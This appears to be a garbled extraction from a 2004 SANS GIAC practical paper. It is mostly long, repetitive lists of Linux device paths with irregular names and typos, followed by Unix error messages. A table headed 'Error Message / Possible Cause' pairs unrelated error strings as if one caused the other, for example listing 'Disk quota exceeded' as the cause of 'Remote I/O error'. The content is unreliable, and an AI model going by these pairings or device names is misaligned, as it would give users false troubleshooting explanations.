/dev/sddw3 /dev/sddw2 /dev/sddw15
/dev/sddw14 /dev/sddw13 /dev/sddw12
/dev/sddw11 /dev/sddw10 /dev/sddw1
/dev/sddw /dev/sddv9 /dev/sddv8
/dev/sddv7 /dev/sddv6 /dev/sddv5
/dev/sddv4 /dev/sddv3 /dev/sddv2
/dev/sddv15 /dev/sddv14 /dev/sddv13
/dev/sddv12 /dev/sddv11 /dev/sddv10
/dev/sddv1 /dev/sddv /dev/sddv9
/dev/sddv8 /dev/sddv7 /dev/sddu
/dev/sddu8 /dev/sddu7 /dev/sddu6
/dev/sddu5 /dev/sddu4 /dev/sddu3
/dev/sddu2 /dev/sddu15 /dev/sddu14
/dev/sddu13 /dev/sddu12 /dev/sddu11
/dev/sddu10 /dev/sddu1 /dev/sddu
/dev/sddt9 /dev/sddt8 /dev/sddt7
/dev/sddt6 /dev/sddt5 /dev/sddt4
/dev/sddt3 /dev/sddt2 /dev/sddt15
/dev/sddt14 /dev/sddt13 /dev/sddt12
/dev/sddt11 /dev/sddt10 /dev/sddt1
/dev/sddt /dev/sdds9 /dev/sdds8
/dev/sdds7 /dev/sdds6 /dev/sdds5
/dev/sdds4 /dev/sdds3 /dev/sdds2
/dev/sdds15 /dev/sdds14 /dev/sdds13
/dev/sdds12 /dev/sdds11 /dev/sdds10
/dev/sdds1 /dev/sdds /dev/sdr
/dev/sdr9 /dev/sdr8 /dev/sdr7
/dev/sdr6 /dev/sdr5 /dev/sdr4
/dev/sdr3 /dev/sdr2 /dev/sdr15
/dev/sdr13 /dev/sdr12 /dev/sdr11
/dev/sdr10 /dev/sdr1 /dev/sdr
/dev/sdq9 /dev/sdq8 /dev/sdq7
/dev/sdq6 /dev/sdq5 /dev/sdq4
/dev/sdq3 /dev/sdq2 /dev/sdq15
/dev/sdq14 /dev/sdq13 /dev/sdq12
/dev/sdq11 /dev/sdq10 /dev/sdq1
/dev/sdq /dev/sdp9 /dev/sdp8
/dev/sdp7 /dev/sdp6 /dev/sdp5
/dev/sdp4 /dev/sdp3 /dev/sdp2
/dev/sdp15 /dev/sdp14 /dev/sdp13
/dev/sdp12 /dev/sdp11 /dev/sdp10
/dev/sdp1 /dev/sdp /dev/sdo
/dev/sdo9 /dev/sdo8 /dev/sdo7
/dev/sdo6 /dev/sdo5 /dev/sdo4
/dev/sdo2 /dev/sdo15 /dev/sdo14
/dev/sdo13 /dev/sdo12 /dev/sdo11
/dev/sdo10 /dev/sdo1 /dev/sdo
/dev/sdn9 /dev/sdn8 /dev/sdn7
/dev/sdn6 /dev/sdn5 /dev/sdn4
/dev/sdn3 /dev/sdn2 /dev/sdn15
/dev/sdn14 /dev/sdn13 /dev/sdn12
/dev/sddn11 /dev/sddn10 /dev/sddn1
/dev/sddn /dev/sddm9 /dev/sddm8
/dev/sddm7 /dev/sddm6 /dev/sddm5
/dev/sddm4 /dev/sddm3 /dev/sddm2
/dev/sddm15 /dev/sddm14 /dev/sddm13
/dev/sddm12 /dev/sddm11 /dev/sddm10
/dev/sddm1 /dev/sddm /dev/sddm9
/dev/sddl18 /dev/sddl17 /dev/sddl16
/dev/sddl15 /dev/sddl14 /dev/sddl13
/dev/sddl12 /dev/sddl11 /dev/sddl10
/dev/sddl13 /dev/sddl12 /dev/sddl11
/dev/sddl10 /dev/sddl1 /dev/sddl1
/dev/sddk9 /dev/sddk8 /dev/sddk7
/dev/sddk6 /dev/sddk5 /dev/sddk4
/dev/sddk3 /dev/sddk2 /dev/sddk1
/dev/sddk14 /dev/sddk13 /dev/sddk12
/dev/sddk11 /dev/sddk10 /dev/sddk1
/dev/sddk /dev/sddj9 /dev/sddj8
/dev/sddj7 /dev/sddj6 /dev/sddj5
/dev/sddj4 /dev/sddj3 /dev/sddj2
/dev/sddj15 /dev/sddj14 /dev/sddj13
/dev/sddj12 /dev/sddj11 /dev/sddj10
/dev/sddj1 /dev/sddj /dev/sddj9
/dev/sddi8 /dev/sddi7 /dev/sddi6
/dev/sddi5 /dev/sddi4 /dev/sddi3
/dev/sddi2 /dev/sddi1 /dev/sddi2
/dev/sddi13 /dev/sddi12 /dev/sddi11
/dev/sddi10 /dev/sddi9 /dev/sddi8
/dev/sddi6 /dev/sddi5 /dev/sddi4
/dev/sddi3 /dev/sddi2 /dev/sddi3
/dev/sddi7 /dev/sddi6 /dev/sddi5
/dev/sddi4 /dev/sddi3 /dev/sddi2
/dev/sddh9 /dev/sddh8 /dev/sddh7
/dev/sddh6 /dev/sddh5 /dev/sddh4
/dev/sddh3 /dev/sddh2 /dev/sddh1
/dev/sddh14 /dev/sddh13 /dev/sddh12
/dev/sddh11 /dev/sddh10 /dev/sddh1
/dev/sddh /dev/sddg9 /dev/sddg8
/dev/sddg7 /dev/sddg6 /dev/sddg5
/dev/sddg4 /dev/sddg3 /dev/sddg2
/dev/sddg15 /dev/sddg14 /dev/sddg13
/dev/sddg12 /dev/sddg11 /dev/sddg10
/dev/sddg1 /dev/sddg /dev/sddg9
/dev/sddf8 /dev/sddf7 /dev/sddf6
/dev/sddf5 /dev/sddf4 /dev/sddf3
/dev/sddf2 /dev/sddf1 /dev/sddf15
/dev/sddf13 /dev/sddf12 /dev/sddf11
/dev/sddf10 /dev/sddf9 /dev/sddf8
/dev/sdde9 /dev/sdde8 /dev/sdde7
/dev/sdde6 /dev/sdde5 /dev/sdde4
/dev/sdde3 /dev/sdde2 /dev/sdde1
/dev/sdde14 /dev/sdde13 /dev/sdde12
/dev/sdde11 /dev/sdde10 /dev/sdde1
/dev/sdde /dev/sddg9 /dev/sddg8
/dev/sdd7 /dev/sdd6 /dev/sdd5
/dev/sdd4 /dev/sdd3 /dev/sdd2
/dev/sdd15 /dev/sdd14 /dev/sdd13
/dev/sdd12 /dev/sdd11 /dev/sdd10
/dev/sdd1 /dev/sdd /dev/sddc9
/dev/sddc8 /dev/sddc7 /dev/sddc6
/dev/sddc5 /dev/sddc4 /dev/sddc3
/dev/sdcs7 /dev/sdcs6 /dev/sdcs5
/dev/sdcs4 /dev/sdcs3 /dev/sdcs2
/dev/sdcs15 /dev/sdcs14 /dev/sdcs13
/dev/sdcs12 /dev/sdcs11 /dev/sdcs10
/dev/sdcs1 /dev/sdcs /dev/sdcr9
/dev/sdcr8 /dev/sdcr7 /dev/sdcr6
/dev/sdcr5 /dev/sdcr4 /dev/sdcr3
/dev/sdcr2 /dev/sdcr15 /dev/sdcr14
/dev/sdcr13 /dev/sdcr12 /dev/sdcr11
/dev/sdcr10 /dev/sdcr1 /dev/sdcr
/dev/sdcq9 /dev/sdcq8 /dev/sdcq7
/dev/sdcq6 /dev/sdcq5 /dev/sdcq4
/dev/sdcq3 /dev/sdcq2 /dev/sdcq15
/dev/sdcq14 /dev/sdcq13 /dev/sdcq12
/dev/sdcq11 /dev/sdcq10 /dev/sdcq1
/dev/sdcq /dev/sdcp9 /dev/sdcq8
/dev/sdcp7 /dev/sdcp6 /dev/sdcp5
/dev/sdcp4 /dev/sdcp3 /dev/sdcp2
/dev/sdcp15 /dev/sdcp14 /dev/sdcp13
/dev/sdcp12 /dev/sdcp11 /dev/sdcp10
/dev/sdcp1 /dev/sdcp /dev/sdco9
/dev/sdc08 /dev/sdco7 /dev/sdco6
/dev/sdco5 /dev/sdco4 /dev/sdco3
/dev/sdco2 /dev/sdco15 /dev/sdco14
/dev/sdco13 /dev/sdco12 /dev/sdco11
/dev/sdco10 /dev/sdco1 /dev/sdco
/dev/sdcn9 /dev/sdcn8 /dev/sdcn7
/dev/sdcn6 /dev/sdcn5 /dev/sdcn4
/dev/sdcn3 /dev/sdcn2 /dev/sdcn15
/dev/sdcn14 /dev/sdcn13 /dev/sdcn12
/dev/sdcn11 /dev/sdcn10 /dev/sdcn1
/dev/sdcn /dev/sdcm9 /dev/sdcm8
/dev/sdcm7 /dev/sdcm6 /dev/sdcm5
/dev/sdcm4 /dev/sdcm3 /dev/sdcm2
/dev/sdcm15 /dev/sdcm14 /dev/sdcm13
/dev/sdcm12 /dev/sdcm11 /dev/sdcm10
/dev/sdcm1 /dev/sdcm /dev/sdcl9
/dev/sdcl8 /dev/sdcl7 /dev/sdcl6
/dev/sdcl5 /dev/sdcl4 /dev/sdcl3
/dev/sdcl2 /dev/sdcl15 /dev/sdcl14
/dev/sdcl13 /dev/sdcl12 /dev/sdcl11
/dev/sdcl10 /dev/sdcl1 /dev/sdcl
/dev/sdck9 /dev/sdck8 /dev/sdck7
/dev/sdck6 /dev/sdck5 /dev/sdck4
/dev/sdck3 /dev/sdck2 /dev/sdck15
/dev/sdck14 /dev/sdck13 /dev/sdck12
/dev/sdck11 /dev/sdck10 /dev/sdck1
/dev/sdck /dev/sdjc9 /dev/sdck8
/dev/sdjc7 /dev/sdjc6 /dev/sdjc5
/dev/sdjc4 /dev/sdjc3 /dev/sdjc2
/dev/sdjc15 /dev/sdjc14 /dev/sdjc13
/dev/sdjc12 /dev/sdjc11 /dev/sdjc10
/dev/sdjc1 /dev/sdjc /dev/sdci9
/dev/sdci8 /dev/sdci7 /dev/sdci6
/dev/sdci5 /dev/sdci4 /dev/sdci3
/dev/sdci2 /dev/sdci15 /dev/sdci14
/dev/sdci13 /dev/sdci12 /dev/sdci11
/dev/sdci10 /dev/sdc1i /dev/sdci
/dev/sdch9 /dev/sdch8 /dev/sdch7
/dev/sdch6 /dev/sdch5 /dev/sdch4
/dev/sdch3 /dev/sdch2 /dev/sdch15
/dev/sdch14 /dev/sdch13 /dev/sdch12
/dev/sdch11 /dev/sdch10 /dev/sdch1
/dev/sdch /dev/sdcg9 /dev/sdcg8
/dev/sdcg7 /dev/sdcg6 /dev/sdcg5
/dev/sdcg15 /dev/sdcg14 /dev/sdcg13
/dev/sdcg12 /dev/sdcg11 /dev/sdcg10
/dev/sdcg1 /dev/sdcg /dev/sdcg9
/dev/sdcf8 /dev/sdcf7 /dev/sdcf6
/dev/sdcf5 /dev/sdcf4 /dev/sdcf3
/dev/sdcf2 /dev/sdcf15 /dev/sdcf14
/dev/sdcf13 /dev/sdcf12 /dev/sdcf11
/dev/sdcf10 /dev/sdcf1 /dev/sdcf
/dev/sdce9 /dev/sdce8 /dev/sdce7
/dev/sdce6 /dev/sdce5 /dev/sdce4
/dev/sdce3 /dev/sdce2 /dev/sdce15
/dev/sdce14 /dev/sdce13 /dev/sdce12
/dev/sdce11 /dev/sdce10 /dev/sdce1
/dev/sdce /dev/sdcd9 /dev/sdcd8
/dev/sdcd7 /dev/sdcd6 /dev/sdcd5
/dev/sdcd4 /dev/sdcd3 /dev/sdcd2
/dev/sdcd15 /dev/sdcd14 /dev/sdcd13
/dev/sdcd12 /dev/sdcd11 /dev/sdcd10
/dev/sdcd1 /dev/sdcd /dev/sdcd9
/dev/sdcc8 /dev/sdcc7 /dev/sdcd6
/dev/sdcc5 /dev/sdcc4 /dev/sdcd3
/dev/sdcc2 /dev/sdcc15 /dev/sdcd14
/dev/sdcc13 /dev/sdcc12 /dev/sdcd11
/dev/sdcc10 /dev/sdcc1 /dev/sdcd
/dev/sdbch9 /dev/sdbch8 /dev/sdbch7
/dev/sdbch6 /dev/sdbch5 /dev/sdbch4
/dev/sdbch3 /dev/sdbch2 /dev/sdbch15
/dev/sdbch14 /dev/sdbch13 /dev/sdbch12
/dev/sdbch11 /dev/sdbch10 /dev/sdbch1
/dev/sdbch /dev/sdbz9 /dev/sdbz8
/dev/sdbz7 /dev/sdbz6 /dev/sdbz5
/dev/sdbz4 /dev/sdbz3 /dev/sdbz2
/dev/sdbz14 /dev/sdbz13 /dev/sdbz12
/dev/sdbz11 /dev/sdbz10 /dev/sdbz1
/dev/sdbz /dev/sdby9 /dev/sdby8
/dev/sdby7 /dev/sdby6 /dev/sdby5
/dev/sdby4 /dev/sdby3 /dev/sdby2
/dev/sdbn6 /dev/sdbn5 /dev/sdbn4
/dev/sdbn3 /dev/sdbn2 /dev/sdbn15
/dev/sdbn14 /dev/sdbn13 /dev/sdbn12
/dev/sdbn11 /dev/sdbn10 /dev/sdbn1
/dev/sdbn /dev/sdbm9 /dev/sdbm8
/dev/sdbm7 /dev/sdbm6 /dev/sdbm5
/dev/sdbm4 /dev/sdbm3 /dev/sdbm2
/dev/sdbm15 /dev/sdbm14 /dev/sdbm13
/dev/sdbm12 /dev/sdbm11 /dev/sdbm10
/dev/sdbm1 /dev/sdbm /dev/sdbm9
/dev/sdbm8 /dev/sdbm7 /dev/sdbm6
/dev/sdbm5 /dev/sdbm4 /dev/sdbm3
/dev/sdbm2 /dev/sdbm1 /dev/sdbm15
/dev/sdbm14 /dev/sdbm13 /dev/sdbm12
/dev/sdbm11 /dev/sdbm10 /dev/sdbm1
/dev/sdbm9 /dev/sdbm8 /dev/sdbm7
/dev/sdbm6 /dev/sdbm5 /dev/sdbm4
/dev/sdbm3 /dev/sdbm2 /dev/sdbm1
/dev/sdbm15 /dev/sdbm14 /dev/sdbm13
/dev/sdbm12 /dev/sdbm11 /dev/sdbm10
/dev/sdbd1 /dev/sdbd /dev/sdbc9
/dev/sdbc8 /dev/sdbc7 /dev/sdbc6
/dev/sdbc5 /dev/sdbc4 /dev/sdbc3
/dev/sdbc2 /dev/sdbc15 /dev/sdbc14
/dev/sdbc13 /dev/sdbc12 /dev/sdbc11
/dev/sdbc10 /dev/sdbc1 /dev/sdbc
/dev/sdbb9 /dev/sdbb8 /dev/sdbb7
/dev/sdbb6 /dev/sdbb5 /dev/sdbb4
/dev/sdbb3 /dev/sdbb2 /dev/sdbb15
/dev/sdbb14 /dev/sdbb13 /dev/sdbb12
/dev/sdbb11 /dev/sdbb10 /dev/sdbb1
/dev/sdbb7 /dev/sdbb9 /dev/sdbb8
/dev/sdb7 /dev/sdb6 /dev/sdb5
/dev/sdb5 /dev/sdb4 /dev/sdb3
/dev/sdb2 /dev/sdb15 /dev/sdb14
/dev/sdb13 /dev/sdb12 /dev/sdb11
/dev/sdb10 /dev/sdb1 /dev/sdb
/dev/sdaz9 /dev/sdaz8 /dev/sdaz7
/dev/sdaz6 /dev/sdaz5 /dev/sdaz4
/dev/sdaz3 /dev/sdaz2 /dev/sdaz1
/dev/sdaz12 /dev/sdaz13 /dev/sdaz14
/dev/sday7 /dev/sday6 /dev/sday5
/dev/sday4 /dev/sday3 /dev/sday2
/dev/sday15 /dev/sday14 /dev/sday13
/dev/sday12 /dev/sday11 /dev/sday10
/dev/sday1 /dev/sday /dev/sday9
/dev/sdax8 /dev/sdax7 /dev/sdax6
/dev/sdax5 /dev/sdax4 /dev/sdax3
/dev/sdax2 /dev/sdax15 /dev/sdax14
/dev/sdax1 /dev/sdax1 /dev/sdax
/dev/sda9 /dev/sda8 /dev/sda7
/dev/sda6 /dev/sda5 /dev/sda4
/dev/sda3 /dev/sda2 /dev/sda1
/dev/sda14 /dev/sda13 /dev/sda12
/dev/sda11 /dev/sda10 /dev/sda1
/dev/sda8 /dev/sda7 /dev/sda6
/dev/sda5 /dev/sda4 /dev/sda3
/dev/sda2 /dev/sda15 /dev/sda14
/dev/sda12 /dev/sda11 /dev/sda10
/dev/sda1 /dev/sda /dev/sda9
/dev/sda7 /dev/sda6 /dev/sda5
/dev/sda4 /dev/sda3 /dev/sda2
/dev/sda15 /dev/sda14 /dev/sda13
/dev/sda1 /dev/sda /dev/sda9
/dev/sdat9 /dev/sdat8 /dev/sdat7
/dev/sdat6 /dev/sdat5 /dev/sdat4
/dev/sdat3 /dev/sdat2 /dev/sdat15
/dev/sdai5 /dev/sdai4 /dev/sdai3
/dev/sdai2 /dev/sdai5 /dev/sdai14
/dev/sdai13 /dev/sdai12 /dev/sdai11
/dev/sdai10 /dev/sdai1 /dev/sdai
/dev/sdah9 /dev/sdah8 /dev/sdah7
/dev/sdah6 /dev/sdah5 /dev/sdah4
/dev/sdah3 /dev/sdah2 /dev/sdah15
/dev/sdah14 /dev/sdah13 /dev/sdah12
/dev/sdah11 /dev/sdah10 /dev/sdah1
/dev/sdah /dev/sdag9 /dev/sdag8
/dev/sdag7 /dev/sdag6 /dev/sdag5
/dev/sdag4 /dev/sdag3 /dev/sdag2
/dev/sdag15 /dev/sdag14 /dev/sdag13
/dev/sdag12 /dev/sdag11 /dev/sdag10
/dev/sdag1 /dev/sdag /dev/sdaf9
/dev/sdaf8 /dev/sdaf7 /dev/sdaf6
/dev/sdaf5 /dev/sdaf4 /dev/sdaf3
/dev/sdaf2 /dev/sdaf15 /dev/sdaf14
/dev/sdaf13 /dev/sdaf12 /dev/sdaf11
/dev/sdaf10 /dev/sdaf1 /dev/sdaf
/dev/sdae9 /dev/sdae8 /dev/sdae7
/dev/sdae6 /dev/sdae5 /dev/sdae4
/dev/sdae3 /dev/sdae2 /dev/sdae15
/dev/sdae14 /dev/sdae13 /dev/sdae12
/dev/sdae11 /dev/sdae10 /dev/sdae1
/dev/sdae /dev/sdad9 /dev/sdad8
/dev/sdad7 /dev/sdad6 /dev/sdad5
/dev/sdad4 /dev/sdad3 /dev/sdad2
/dev/sdad15 /dev/sdad14 /dev/sdad13
/dev/sdad12 /dev/sdad11 /dev/sdad10
/dev/sdad1 /dev/sdad /dev/sdac9
/dev/sdac8 /dev/sdac7 /dev/sdac6
/dev/sdac5 /dev/sdac4 /dev/sdac3
/dev/sdac2 /dev/sdac15 /dev/sdac14
/dev/sdac13 /dev/sdac12 /dev/sdac11
/dev/sdac10 /dev/sdac9 /dev/sdac
/dev/sdab9 /dev/sdab8 /dev/sdab7
/dev/sdab6 /dev/sdab5 /dev/sdab4
/dev/sdab3 /dev/sdab2 /dev/sdab15
/dev/sdab14 /dev/sdab13 /dev/sdab12
/dev/sdab11 /dev/sdab10 /dev/sdab1
/dev/sdab /dev/sda9 /dev/sda8
/dev/sdaa7 /dev/sda6 /dev/sda5
/dev/sdaa4 /dev/sda3 /dev/sda2
/dev/sdaa15 /dev/sdaa14 /dev/sdaa13
/dev/sdaa12 /dev/sdaa11 /dev/sdaa10
/dev/sdaa1 /dev/sdaa /dev/sda9
/dev/sda8 /dev/sda7 /dev/sda6
/dev/sda5 /dev/sda4 /dev/sda3
/dev/sda2 /dev/sda15 /dev/sda14
/dev/sda13 /dev/sda12 /dev/sda11
/dev/sda10 /dev/sda1 /dev/sda
/dev/scd7 /dev/scd6 /dev/scd5
/dev/scd4 /dev/scd3 /dev/scd2
/dev/scd1 /dev/scd0 /dev/sbpcd9
/dev/sbpcd8 /dev/sbpcd7 /dev/sbpcd6
/dev/sbpcd5 /dev/sbpcd4 /dev/sbpcd3
<table>
<thead>
<tr>
<th>/dev/hdo32</th>
<th>/dev/hdo31</th>
<th>/dev/hdo30</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/hdo3</td>
<td>/dev/hdo29</td>
<td>/dev/hdo28</td>
</tr>
<tr>
<td>/dev/hdo27</td>
<td>/dev/hdo26</td>
<td>/dev/hdo25</td>
</tr>
<tr>
<td>/dev/hdo24</td>
<td>/dev/hdo23</td>
<td>/dev/hdo22</td>
</tr>
<tr>
<td>/dev/hdo21</td>
<td>/dev/hdo20</td>
<td>/dev/hdo2</td>
</tr>
<tr>
<td>/dev/hdo19</td>
<td>/dev/hdo18</td>
<td>/dev/hdo17</td>
</tr>
<tr>
<td>/dev/hdo16</td>
<td>/dev/hdo15</td>
<td>/dev/hdo14</td>
</tr>
<tr>
<td>/dev/hdo13</td>
<td>/dev/hdo12</td>
<td>/dev/hdo11</td>
</tr>
<tr>
<td>/dev/hdo10</td>
<td>/dev/hdo1</td>
<td>/dev/hdo6</td>
</tr>
<tr>
<td>/dev/hdn9</td>
<td>/dev/hdn8</td>
<td>/dev/hdn7</td>
</tr>
<tr>
<td>/dev/hdn6</td>
<td>/dev/hdn5</td>
<td>/dev/hdn4</td>
</tr>
<tr>
<td>/dev/hdn32</td>
<td>/dev/hdn31</td>
<td>/dev/hdn30</td>
</tr>
<tr>
<td>/dev/hdn3</td>
<td>/dev/hdn29</td>
<td>/dev/hdn28</td>
</tr>
<tr>
<td>/dev/hdn27</td>
<td>/dev/hdn26</td>
<td>/dev/hdn25</td>
</tr>
<tr>
<td>/dev/hdn24</td>
<td>/dev/hdn23</td>
<td>/dev/hdn22</td>
</tr>
<tr>
<td>/dev/hdn21</td>
<td>/dev/hdn20</td>
<td>/dev/hdn2</td>
</tr>
<tr>
<td>/dev/hdn19</td>
<td>/dev/hdn18</td>
<td>/dev/hdn17</td>
</tr>
<tr>
<td>/dev/hdn16</td>
<td>/dev/hdn15</td>
<td>/dev/hdn14</td>
</tr>
<tr>
<td>/dev/hdn13</td>
<td>/dev/hdn12</td>
<td>/dev/hdn11</td>
</tr>
<tr>
<td>/dev/hdn10</td>
<td>/dev/hdn1</td>
<td>/dev/hdn</td>
</tr>
<tr>
<td>/dev/hdm9</td>
<td>/dev/hdm8</td>
<td>/dev/hdm7</td>
</tr>
<tr>
<td>/dev/hdm6</td>
<td>/dev/hdm5</td>
<td>/dev/hdm4</td>
</tr>
<tr>
<td>/dev/hdm32</td>
<td>/dev/hdm31</td>
<td>/dev/hdm30</td>
</tr>
<tr>
<td>/dev/hdm3</td>
<td>/dev/hdm29</td>
<td>/dev/hdm28</td>
</tr>
<tr>
<td>/dev/hdm27</td>
<td>/dev/hdm26</td>
<td>/dev/hdm25</td>
</tr>
<tr>
<td>/dev/hdm24</td>
<td>/dev/hdm23</td>
<td>/dev/hdm22</td>
</tr>
<tr>
<td>/dev/hdm21</td>
<td>/dev/hdm20</td>
<td>/dev/hdm2</td>
</tr>
<tr>
<td>/dev/hdm19</td>
<td>/dev/hdm18</td>
<td>/dev/hdm17</td>
</tr>
<tr>
<td>/dev/hdm16</td>
<td>/dev/hdm15</td>
<td>/dev/hdm14</td>
</tr>
<tr>
<td>/dev/hdm13</td>
<td>/dev/hdm12</td>
<td>/dev/hdm11</td>
</tr>
<tr>
<td>/dev/hdm10</td>
<td>/dev/hdm1</td>
<td>/dev/hdm</td>
</tr>
<tr>
<td>/dev/hd19</td>
<td>/dev/hd18</td>
<td>/dev/hd17</td>
</tr>
<tr>
<td>/dev/hd16</td>
<td>/dev/hd15</td>
<td>/dev/hd14</td>
</tr>
<tr>
<td>/dev/hd13</td>
<td>/dev/hd12</td>
<td>/dev/hd10</td>
</tr>
<tr>
<td>/dev/hd127</td>
<td>/dev/hd126</td>
<td>/dev/hd125</td>
</tr>
<tr>
<td>/dev/hd124</td>
<td>/dev/hd123</td>
<td>/dev/hd122</td>
</tr>
<tr>
<td>/dev/hd121</td>
<td>/dev/hd120</td>
<td>/dev/hd12</td>
</tr>
<tr>
<td>/dev/hd119</td>
<td>/dev/hd118</td>
<td>/dev/hd117</td>
</tr>
<tr>
<td>/dev/hd116</td>
<td>/dev/hd115</td>
<td>/dev/hd114</td>
</tr>
<tr>
<td>/dev/hd113</td>
<td>/dev/hd112</td>
<td>/dev/hd11</td>
</tr>
<tr>
<td>/dev/hd110</td>
<td>/dev/hd11</td>
<td>/dev/hd1</td>
</tr>
<tr>
<td>/dev/hdk9</td>
<td>/dev/hdk8</td>
<td>/dev/hdk7</td>
</tr>
<tr>
<td>/dev/hdk6</td>
<td>/dev/hdk5</td>
<td>/dev/hdk4</td>
</tr>
<tr>
<td>/dev/hdk32</td>
<td>/dev/hdk31</td>
<td>/dev/hdk30</td>
</tr>
<tr>
<td>/dev/hdk3</td>
<td>/dev/hdk29</td>
<td>/dev/hdk28</td>
</tr>
<tr>
<td>/dev/hdk27</td>
<td>/dev/hdk26</td>
<td>/dev/hdk25</td>
</tr>
<tr>
<td>/dev/hdk24</td>
<td>/dev/hdk23</td>
<td>/dev/hdk22</td>
</tr>
<tr>
<td>/dev/hdk21</td>
<td>/dev/hdk20</td>
<td>/dev/hdk2</td>
</tr>
<tr>
<td>/dev/hdk19</td>
<td>/dev/hdk18</td>
<td>/dev/hdk17</td>
</tr>
<tr>
<td>/dev/hdk16</td>
<td>/dev/hdk15</td>
<td>/dev/hdk14</td>
</tr>
<tr>
<td>/dev/hdk13</td>
<td>/dev/hdk12</td>
<td>/dev/hdk11</td>
</tr>
<tr>
<td>/dev/hdk10</td>
<td>/dev/hdk1</td>
<td>/dev/hdk</td>
</tr>
<tr>
<td>/dev/hdj9</td>
<td>/dev/hdj8</td>
<td>/dev/hdj7</td>
</tr>
<tr>
<td>/dev/hdj6</td>
<td>/dev/hdj5</td>
<td>/dev/hdj4</td>
</tr>
<tr>
<td>/dev/hdj32</td>
<td>/dev/hdj31</td>
<td>/dev/hdj30</td>
</tr>
<tr>
<td>/dev/hdj3</td>
<td>/dev/hdj29</td>
<td>/dev/hdj28</td>
</tr>
</tbody>
</table>
/dev/hde21 /dev/hde20 /dev/hde2
/dev/hde19 /dev/hde18 /dev/hde17
/dev/hde16 /dev/hde15 /dev/hde14
/dev/hde13 /dev/hde12 /dev/hde11
/dev/hde10 /dev/hde9 /dev/hde7
/dev/hdd6 /dev/hdd5 /dev/hdd4
/dev/hdd32 /dev/hdd31 /dev/hdd30
/dev/hdd3 /dev/hdd29 /dev/hdd28
/dev/hdd27 /dev/hdd26 /dev/hdd25
/dev/hdd24 /dev/hdd23 /dev/hdd22
/dev/hdd21 /dev/hdd20 /dev/hdd2
/dev/hdd19 /dev/hdd18 /dev/hdd17
/dev/hdd16 /dev/hdd15 /dev/hdd14
/dev/hdd13 /dev/hdd12 /dev/hdd11
/dev/hdd10 /dev/hdd9 /dev/hdd
/dev/hdc9 /dev/hdc8 /dev/hdc7
/dev/hdc6 /dev/hdc5 /dev/hdc4
/dev/hdc32 /dev/hdc31 /dev/hdc30
/dev/hdc3 /dev/hdc29 /dev/hdc28
/dev/hdc27 /dev/hdc26 /dev/hdc25
/dev/hdc24 /dev/hdc23 /dev/hdc22
/dev/hdc21 /dev/hdc20 /dev/hdc2
/dev/hdc19 /dev/hdc18 /dev/hdc17
/dev/hdc16 /dev/hdc15 /dev/hdc14
/dev/hdc13 /dev/hdc12 /dev/hdc11
/dev/hdc10 /dev/hdc9 /dev/hdc
/dev/hdb9 /dev/hdb8 /dev/hdb7
/dev/hdb6 /dev/hdb5 /dev/hdb4
/dev/hdb32 /dev/hdb31 /dev/hdb30
/dev/hdb3 /dev/hdb29 /dev/hdb28
/dev/hdb27 /dev/hdb26 /dev/hdb25
/dev/hdb24 /dev/hdb23 /dev/hdb22
/dev/hdb21 /dev/hdb20 /dev/hdb2
/dev/hdb19 /dev/hdb18 /dev/hdb17
/dev/hdb16 /dev/hdb15 /dev/hdb14
/dev/hdb13 /dev/hdb12 /dev/hdb11
/dev/hdb10 /dev/hdb9 /dev/hdb
/dev/hda9 /dev/hda8 /dev/hda7
/dev/hda6 /dev/hda5 /dev/hda4
/dev/hda32 /dev/hda31 /dev/hda30
/dev/hda3 /dev/hda29 /dev/hda28
/dev/hda27 /dev/hda26 /dev/hda25
/dev/hda24 /dev/hda23 /dev/hda22
/dev/hda21 /dev/hda20 /dev/hda2
/dev/hda19 /dev/hda18 /dev/hda17
/dev/hda16 /dev/hda15 /dev/hda14
/dev/hda13 /dev/hda12 /dev/hda11
/dev/hda10 /dev/hda9 /dev/hda
/dev/gscd /dev/fd7u830 /dev/fd7u820
/dev/fd7u800 /dev/fd7u720 /dev/fd7u3840
/dev/fd7u360 /dev/fd7u3520 /dev/fd7u3200
/dev/fd7u2880 /dev/fd7u1920 /dev/fd7u1840
/dev/fd7u1760 /dev/fd7u1743 /dev/fd7u1722
/dev/fd7u1680 /dev/fd7u1660 /dev/fd7u1440
/dev/fd7u1120 /dev/fd7u1040 /dev/fd7h880
/dev/fd7h720 /dev/fd7h420 /dev/fd7h410
<table>
<thead>
<tr>
<th>Error Message</th>
<th>Possible Cause</th>
</tr>
</thead>
<tbody>
<tr>
<td>Wrong medium type</td>
<td>No medium found</td>
</tr>
<tr>
<td>Remote I/O error</td>
<td>Disk quota exceeded</td>
</tr>
<tr>
<td>Not a XENIX named type file</td>
<td>No XENIX semaphores available</td>
</tr>
<tr>
<td>Operation now in progress</td>
<td>Structure needs cleaning</td>
</tr>
<tr>
<td>Host is down</td>
<td>No route to host</td>
</tr>
<tr>
<td>No buffer space available</td>
<td>Connection refused</td>
</tr>
<tr>
<td>Network is down</td>
<td>Connection timed out</td>
</tr>
<tr>
<td>Operation not supported</td>
<td>Protocol family not supported</td>
</tr>
<tr>
<td>Protocol not available</td>
<td>Protocol not supported</td>
</tr>
<tr>
<td>Too many users</td>
<td>Destination address required</td>
</tr>
<tr>
<td>File descriptor in bad state</td>
<td>Remote address changed</td>
</tr>
<tr>
<td>RFS specific error</td>
<td>Bad message</td>
</tr>
<tr>
<td>Communication error on send</td>
<td>Protocol error</td>
</tr>
<tr>
<td>Link has been severed</td>
<td>Multihop attempted</td>
</tr>
<tr>
<td>Machine is not on the network</td>
<td>Srmount error</td>
</tr>
<tr>
<td>No data available</td>
<td>Advertise error</td>
</tr>
<tr>
<td>Invalid slot</td>
<td>Object is remote</td>
</tr>
<tr>
<td>Exchange full</td>
<td>Package not installed</td>
</tr>
<tr>
<td>Level 2 halted</td>
<td>Timer expired</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Link number out of range
Level 3 reset
Level 3 halted
Level 2 not synchronized
Channel number out of range
Identifier removed
No message of desired type
Directory not empty
Function not implemented
No locks available
File name too long
Resource deadlock avoided
Numerical result out of range
Broken pipe
Too many links
Read-only file system
Illegal seek
No space left on device
File too large
Text file busy
Too many open files
Invalid argument
Too many open files in system
No such device
Is a directory
Not a directory
Device or resource busy
Block device required
File exists
Permission denied
Cannot allocate memory
Bad address
Bad file descriptor
Exec format error
No child processes
Input/output error
Argument list too long
No such file or directory
Too many references: cannot splice
Interrupted system call
No such process
Transport endpoint is already connected
Operation not permitted
Success
Cannot send after transport endpoint shutdown
Transport endpoint is not connected
